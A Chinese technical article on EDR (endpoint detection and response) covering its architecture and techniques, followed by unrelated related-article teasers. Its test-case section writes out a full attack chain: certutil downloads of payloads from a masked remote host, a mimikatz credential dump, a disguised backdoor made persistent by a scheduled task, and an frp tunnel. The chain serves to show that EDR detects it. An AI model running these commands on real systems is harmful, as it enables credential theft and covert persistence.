终端威胁检测与响应 (EDR) 技术研究

终端安全面临的挑战

从安全日常管理实践出发,终端安全的常见风险点是钓鱼攻击。因终端业务场景复杂,涉及即时通信软件、邮件等方式,如设置较严苛的拦截规则,则会造成较大的业务影响,且部分钓鱼通道为加密通道,无法在事前进行检测拦截,如钓鱼成功,恶意文件落地,当前传统防病毒方案无法有效防御。常见的绕过方式如下:

  1. 免杀绕过:对恶意文件进行加密、加壳、花指令等手段进行免杀,并在投放前通过主流防病毒引擎和文件信誉平台进行验证,躲避主流防病毒引擎基于特征码的文件检查。
  2. 白程序利用:通过微软系统自带的程序掩护行踪实现入侵,躲避传统的进程检查,如:svchost、InstallUtil.exe、Msiexec、Rundll32等。
  3. 0day漏洞:Payload未公开,防病毒引擎无特征码匹配,无法查杀。

黑客若绕过,并通过攻击手段,成功获取内网终端权限,之后对内网进行全面的渗透,造成显著的安全风险,如图1所示。因当前端点威胁检测能力较弱,在触达检测能力更强的生产环境前,可能长时间潜伏和探测,难以有效的识别攻击者。

图1 典型的黑客攻击路径

因此,将具备更强检测能力的EDR推广到办公终端,以应对当下终端安全的挑战。

EDR概述

终端威胁检测与响应技术(Endpoint Detection And Response,EDR)是一种先进的主动防御技术,它以“预测、防护、检测和响应”的技术体系,全面覆盖终端安全事件的全过程。EDR通过实时监测终端行为,采集运行状态,并利用大数据安全分析、机器学习、沙箱分析和行为分析等技术,提供深度监控、威胁检测、高级威胁分析、调查取证、事件响应处置和追踪溯源等功能,赋予终端强大的主动安全防御能力。

工作原理

终端威胁检测与响应的原理架构如图2所示,包括四部分,分别是防护代理、管理平台、分析中心和安全态势,各部分的功能和作用如下:

防护代理:支持Windows、MAC、Linux,在终端采集并上报运行数据,提取可疑样本到管理平台分析,同时在发现安全威胁时,能够进行响应处置。

管理平台:管理、存储和分发整个系统的安全策略,监视防护代理的运行状态,对防护代理采集的数据进行威胁分析,感知和发现入侵行为,提取入侵攻击的行为特征,对入侵者进行画像,并对入侵攻击行为发起应急响应处理等。

分析平台:分析平台向管理平台提供分析服务,通过对样本进行黑白名单查询、病毒引擎检测、智能沙箱分析、威胁情报分析和专家系统分析后,识别出恶意样本文件,并将识别结果反馈给管理平台,实现恶意代码二次攻击抑制。

安全态势:对EDR采集的安全状态数据、告警日志数据、安全事件信息、任务处置情况进行融合处理、过滤、分析、整编,以GIS、图表等可视化方式展示攻击源、攻击过程、统计排名等态势数据,为应急处置提供决策依据,是EDR宏观掌握终端整体安全状态的重要抓手。

图2 EDR架构

关键技术分析

数据采集技术

采集终端静态和动态数据,静态数据采集部分包括采集操作系统运行的当前状态,如资产信息、服务、端口、进程等。动态信息包括操作系统上发生的各类行为操作,如账户创建、网络访问、文件操作等,记录并采集动作关联的进程、目标文件、网络数据等。

大数据分析技术

将终端采集的各类异构数据进行集中存储和数据分析,结合ATT&CK攻击模型,通过深度学习、关联分析、聚类分析等,发现和识别出终端上隐藏的安全威胁,并发现不满足安全要求和不符合安全规定的终端。

威胁情报技术

结合威胁情报技术,为EDR提供海量的内外部威胁数据、恶意样本数据、黑客组织画像信息等关键数据,可快速识别恶意样本,对威胁告警进行综合研判。

安全取证技术

在安全事件发生后,对发生时和发生后的终端运行状态进行取证,追查攻击行为,重放攻击过程,对攻击事件进行追踪和溯源。

安全实例

钓鱼场景下的小样本攻防测试,恶意样本已做过免杀,点击恶意文件样本

跳板机上线,并从远控端执行下述恶意命令

信息收集

shell whoami

shell ipconfig

shell wmic process get

凭据窃取

shell certutil -urlcache -split -f "http:// 1xx.xx.xx.xxx:8000/Credential_Access.rar" "C:\Users\Credential_Access.rar"

shell C:\Users\public\Rar.exe x "C:\Users\Credential_Access.rar" -op "C:\Users"

shell C:\Users\Credential_Access\mimikatz\x64\mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords full" "exit"

权限维持

shell certutil -urlcache -split -f "http:// 1xx.xx.xx.xxx:8000/backdoor/svchost.exe"  C:\svch0st.exe

shell schtasks /create /F /tn WindowsUpdateCheck /tr "C:\svch0st.exe" /sc HOURLY /mo 5

横向爆破

shell certutil -urlcache -split -f "http:// 1xx.xx.xx.xx:8000/Command_and_Control.rar" "C:\Users\Command_and_Control.rar"

shell C:\Users\public\Rar.exe x "C:\Users\Command_and_Control.rar" -op "C:\Users"

shell C:\Users\Command_and_Control\frp\frps.exe -c "C:\Users\Command_and_Control\frp\frps.ini"

安全事件聚合,可以看到虽然恶意样本做过免杀,但EDR通过行为分析,依然可以检测并产生高危告警,其后续的所有恶意行为也均可在攻击图谱中发现并处置。

注意事项

为了提高审计效率,EDR的告警降噪工作至关重要。加白规则需贴合匹配告警内容,避免攻击行为绕过。同时,可以根据自身场景添加定制化的IOC规则,但需注意避免匹配正常业务行为,以免造成审计成本增加或业务影响。

自定义行为检测规则(IOC)

EDR的内置规则大多为通用性规则,为提高响应效率,我们可以根据自身场景,添加定制化IOC规则,需注意是否会匹配正常业务行为,明确后方可添加,否则可能会导致审计成本变高或对业务造成影响。

总结

随着信息安全技术的发展,网络攻击已经变得更有针对性、隐蔽性和持久性,终端威胁检测与响应(EDR)技术的出现为新型安全威胁的检测和与防护提供了新思路。EDR在面对为未知威胁攻击、0day漏洞攻击和APT攻击等所表现出的先进性和优越性,已经成为终端安全防护体系的重要组成部分。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/450183.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

C_数据结构(栈) —— 栈的初始化、栈的销毁、入栈、出栈、bool类型判断栈是否为空、取栈顶元素、获取栈中有效元素个数

目录 一、栈 1、概念与结构 二、栈的实现 1、定义栈的结构 2、栈的初始化 3、栈的销毁 4、入栈 5、出栈 6、bool类型判断栈是否为空 7、取栈顶元素 8、获取栈中有效元素个数 三、完整实现栈的三个文件 Stack.h Stack.c test.c 一、栈 1、概念与结构 栈&#x…

K8s环境下使用sidecar模式对EMQX的exhook.proto 进行流量代理

背景 在使用emqx作为mqtt时需要我们需要拦截client的各种行为,如连接,发送消息,认证等。除了使用emqx自带的插件机制。我们也可以用多语言-钩子扩展来实现这个功能,但是目前emqx仅仅支持单个grpc服务端的设置,所以会有…

论文阅读-U3M(2)

HOW MUCH POSITION INFORMATION DO CONVOLUTIONAL NEURAL NETWORKS ENCODE? 文章目录 HOW MUCH POSITION INFORMATION DO CONVOLUTIONAL NEURAL NETWORKS ENCODE?前言一、位置编码网络(PosENet)二、训练数据三、实验3.1 位置信息的存在性3.2 分析PosEN…

多机编队—(3)Fast_planner无人机模型替换为Turtlebot3模型实现无地图的轨迹规划

文章目录 前言一、模型替换二、Riz可视化三、坐标变换四、轨迹规划最后 前言 前段时间已经成功将Fast_planner配置到ubuntu机器人中,这段时间将Fast_planner中的无人机模型替换为了Turtlebot3_waffle模型,机器人识别到环境中的三维障碍物信息&#xff0…

X(twitter)推特的广告类型有哪些?怎么选择?

X(twitter)推特是全球最热门的几大社交媒体平台之一,也是很多电商卖家进行宣传推广工作的阵地之一。在营销过程中不可避免地需要借助平台广告,因此了解其广告类型和适配场景也十分重要。 一、广告类型及选择 1.轮播广告 可滑动的…

谷歌浏览器办公必备扩展推荐有哪些

在现代办公环境中,谷歌浏览器凭借其强大的功能和丰富的扩展生态,成为了许多人日常工作中不可或缺的工具。为了进一步提升办公效率,本文将为您推荐几款实用的谷歌浏览器扩展,并解答在使用过程中可能遇到的一些常见问题。&#xff0…

基于SpringBoot+Vue+Uniapp家具购物小程序的设计与实现

详细视频演示 请联系我获取更详细的演示视频 项目运行截图 技术框架 后端采用SpringBoot框架 Spring Boot 是一个用于快速开发基于 Spring 框架的应用程序的开源框架。它采用约定大于配置的理念,提供了一套默认的配置,让开发者可以更专注于业务逻辑而…

【原创】java+springboot+mysql在线课程学习网设计与实现

个人主页:程序猿小小杨 个人简介:从事开发多年,Java、Php、Python、前端开发均有涉猎 博客内容:Java项目实战、项目演示、技术分享 文末有作者名片,希望和大家一起共同进步,你只管努力,剩下的交…

【xilinx-versal】【Petalinux】添加TMP75温度传感器Linux驱动

Xilinx versal添加TMP75温度传感器Linux驱动 I2C总线的内核配置打开Cadence I2C 控制器配置xilinx I2C配置(不使用)添加设备树总结I2C总线的内核配置 TMP75挂载第一个i2c总线上,地址是0x48。 petalinux-config -c kernel打开内核配置界面。 打开Cadence I2C 控制器配置 │…

MySQL中常见函数

1,日期类函数 1,获取年月日 关键字:current_date(); 2,获取时间 关键字:current_time(); 3,获取时间戳 关键字:current_timestamp(); 注意,MySQL的时间戳显示是以时间的方式显示,所以可以看…

调查显示软件供应链攻击增加

OpenText 发布了《2024 年全球勒索软件调查》,强调了网络攻击的重要趋势,特别是在软件供应链中,以及生成式人工智能在网络钓鱼诈骗中的使用日益增多。 尽管各国政府努力加强网络安全措施,但调查显示,仍有相当一部分企…

Servlet[springmvc]的Servlet.init()引发异常

报错: 原因之一: web.xml配置文件中监听器导入依赖项错误

Node.js 中的 WebSocket 底层实现

WebSockets 是一种网络通信协议,可实现双向客户端-服务器通信。 WebSockets 通常用于需要即时更新的应用程序,使用 HTTP 之上的持久双工通道来支持实时交互,而无需持续进行连接协商。服务器推送是 WebSockets 的众多常见用例之一。 本文首先…

接口测试 —— 如何测试加密接口?

接口加密是指在网络传输过程中,将数据进行加密,以保护数据的安全性。接口加密可以采用多种加密算法,如AES、DES、RSA等。测试接口加密的目的是验证接口加密算法的正确性和安全性。以下是一些详细的测试方法和注意事项: 接口加密字…

centos7.9调整磁盘分区大小

在安装centos7.9时我们一般采用默认分区设置,使用LVM来管理磁盘空间,根分区只有50GB,其余的所有可用空间都分配在/home分区下。可是centos7中大多数的应用软件都是安装在根分区的,在使用过程中经常会出现明明系统还有很大的磁盘空…

Leetcode—1114. 按序打印【简单】(多线程)

2024每日刷题&#xff08;179&#xff09; Leetcode—1114. 按序打印 C实现代码 class Foo { public:Foo() {firstMutex.lock();secondMutex.lock();}void first(function<void()> printFirst) {// printFirst() outputs "first". Do not change or remove t…

【后端开发】自动化部署、服务管理、问题排查工具(cicd流水线,k8s集群,ELK日志)

【后端开发】自动化部署、服务管理、问题排查工具&#xff08;cicd流水线&#xff0c;k8s集群&#xff0c;ELK日志&#xff09; 文章目录 1、Devops与CICD流水线(TeamCity, Jenkins&#xff0c;GitHub Actions)2、Kubernetes 集群的管理和操作&#xff08;对比Portainer&#x…

排序算法上——插入,希尔,选择,堆排序

前言&#xff1a; 常见排序方法如下&#xff1a; 本篇将介绍4种排序方法&#xff0c;分别为插入排序&#xff0c;希尔排序&#xff0c;选择排序&#xff0c;堆排序&#xff0c;并分别举例与讲解。 一. 插入排序 1.1 含义与动图分析 插入排序的思想是在有序区间的下一个位置…

设计模式---责任链模式快速demo

Handler&#xff08;处理者&#xff09;&#xff1a; 定义一个处理请求的接口。通常包括一个处理请求的方法。它可以是抽象类或接口&#xff0c;也可以是具体类&#xff0c;具体类中包含了对请求的处理逻辑。处理者通常包含一个指向下一个处理者的引用。ConcreteHandler&#x…

JAVA封装和包

一.包的概念&#xff1a; 下面是包的目录位置&#xff1a; 在src底下的demo&#xff0c;com&#xff0c;baidu相当于一个文件夹&#xff0c;可以存放类&#xff0c;同一个包类名不能相同&#xff0c;不同的包的类名可以相同。&#xff08;通俗点来说&#xff1a;一个包相当于一…